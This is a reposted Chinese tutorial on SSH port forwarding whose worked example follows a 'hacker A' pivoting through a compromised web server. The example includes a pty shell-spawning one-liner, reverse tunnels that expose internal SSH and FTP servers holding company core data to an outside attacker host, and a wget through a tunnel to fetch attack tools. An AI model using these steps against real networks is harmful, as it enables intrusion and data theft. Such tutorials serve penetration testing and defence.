后续应该会做个实例

转自:http://www.myhack58.com/Article/html/3/8/2009/25156.htm

经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。
由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)

如果想要了解更多关于SSH的细节,可以 man ssh ,或参照ssh的DOC.

实例:
——————————————————————————
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为 GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。

骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);

通过得到的sh shell,执行 $python -c ‘import pty; pty.spawn(”/bin/sh”)’ 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。

骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20

骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通过建立隧道后,在BILL_APP上执行 wget http://10.168.0.10:8888/thepl 等同于访http://202.65.208.142/thepl

内网渗透中SSh的巧用的更多相关文章

  1. 内网渗透中的mimikatz

    0x00 前言 上篇测试了中间人攻击利用框架bettercap,这次挑选一款更具代表性的工具--mimikatz 0x01 简介 mimikatz,很多人称之为密码抓取神器,但在内网渗透中,远不止这么 ...

  2. 内网渗透中mimikatz的使用

    0x01 简介 mimikatz,很多人称之为密码抓取神器,但在内网渗透中,远不止这么简单 0x02 测试环境 网络资源管理模式: 域 已有资源: 域内一台主机权限 操作系统:win7 x64 域权限 ...

  3. [原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH

    目录 1.Kali开启SSH 2.SSH连接工具优缺点 3.渗透专用SSH连接工具 4.ssh执行cmd源码 5.批量SSH密码破解 6.相关工具下载 0x001 SSH配置 1.打开文件 etc/s ...

  4. 内网渗透中的反弹Shell与端口转发

    from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...

  5. frp内网渗透实现ssh外网访问家里树莓派(树莓派raspbian系统+腾讯云contos7)

    只有信用卡大小的它,同时也是一台功能完备的电脑(树莓派),把内网能玩的功能都玩了个遍,自然就有了外网访问这台树莓派的需求.一样也是查阅了无数文章,研究了无数个方案,最终试验成功用FRP实现了内网穿透, ...

  6. 内网渗透中的NTLM-Hash Relay

    基础知识 NTLN和Net-NTLM 1.NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击,我博客中前文也 ...

  7. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  8. Metasploit 内网渗透篇

    0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...

  9. [内网渗透]lcx端口转发

    0x01 简介 lcx是一款端口转发工具,有三个功能: 第一个功能将本地端口转发到远程主机某个端口上 第二个功能将本地端口转发到本地另一个端口上 第三个功能是进行监听并进行转发使用 Lcx使用的前提是 ...

随机推荐

  1. 关于C#中的日期的一个简单总结

    首先,总结两个简单的方法,实现 秒 与 日期 的相互转换: public class MyTest { /// <summary> /// 将Unix时间戳转换为DateTime类型时间, ...

  2. 一分钟搞定:spring boot 热部署 (基于Idea)

    什么是热部署? 对于spring boot项目,修改后台的java类,不要重启整个项目,就可以测试/使用刚修改的功能! 怎么为项目添加/设置热部署 maven项目在pom.xml添加下方代码,联网引入 ...

  3. English trip -- VC(情景课) 6 B Events 事件

    xu言: ...  自己选择的路,就算是爬,也要给我爬完.短短人生数载,我能之止于此? Words appointment  预约 meeting  会议 class movie party prog ...

  4. 20170724wdVBA正则表达式提取答案到Excel

    Public Sub RegExtractData() Dim StartTime, UsedTime StartTime = VBA.Timer Dim FilePath$ Dim FileName ...

  5. bzoj2595: [Wc2008]游览计划 斯坦纳树

    斯坦纳树是在一个图中选取某些特定点使其联通(可以选取额外的点),要求花费最小,最小生成树是斯坦纳树的一种特殊情况 我们用dp[i][j]来表示以i为根,和j状态是否和i联通,那么有 转移方程: dp[ ...

  6. ccf数字排序

    问题描述 给定n个整数,请统计出每个整数出现的次数,按出现次数从多到少的顺序输出. 输入格式 输入的第一行包含一个整数n,表示给定数字的个数. 第二行包含n个整数,相邻的整数之间用一个空格分隔,表示所 ...

  7. Spring Cloud Edgware之后版本 Zipkin+Kafka整合

    zipkin服务器端 1.依赖 <!-- zipkin server --> <dependency> <groupId>io.zipkin.java</gr ...

  8. Sentry项目监控工具结合vue的安装与使用(前端)

    一.官网:https://sentry.io/welcome/ 二.介绍 Sentry 是一个开源的实时错误报告工具,支持 web 前后端.移动应用以及游戏,支持 Python.OC.Java.Go. ...

  9. React-Router v4.0 hashRouter使用js跳转

    React-Router v4.0上已经不推荐使用hashRouter,主推browserRouter,但是因为使用browserRouter需要服务端配合可能造成不便,有时还是需要用到hashRou ...

  10. linux和window是文件挂载

    1. 首先在windows下面创建share文件夹并设置共享(右键->属性->共享)2. 确认ubuntu安装了mount.cifs,apt-get install mount.cifs ...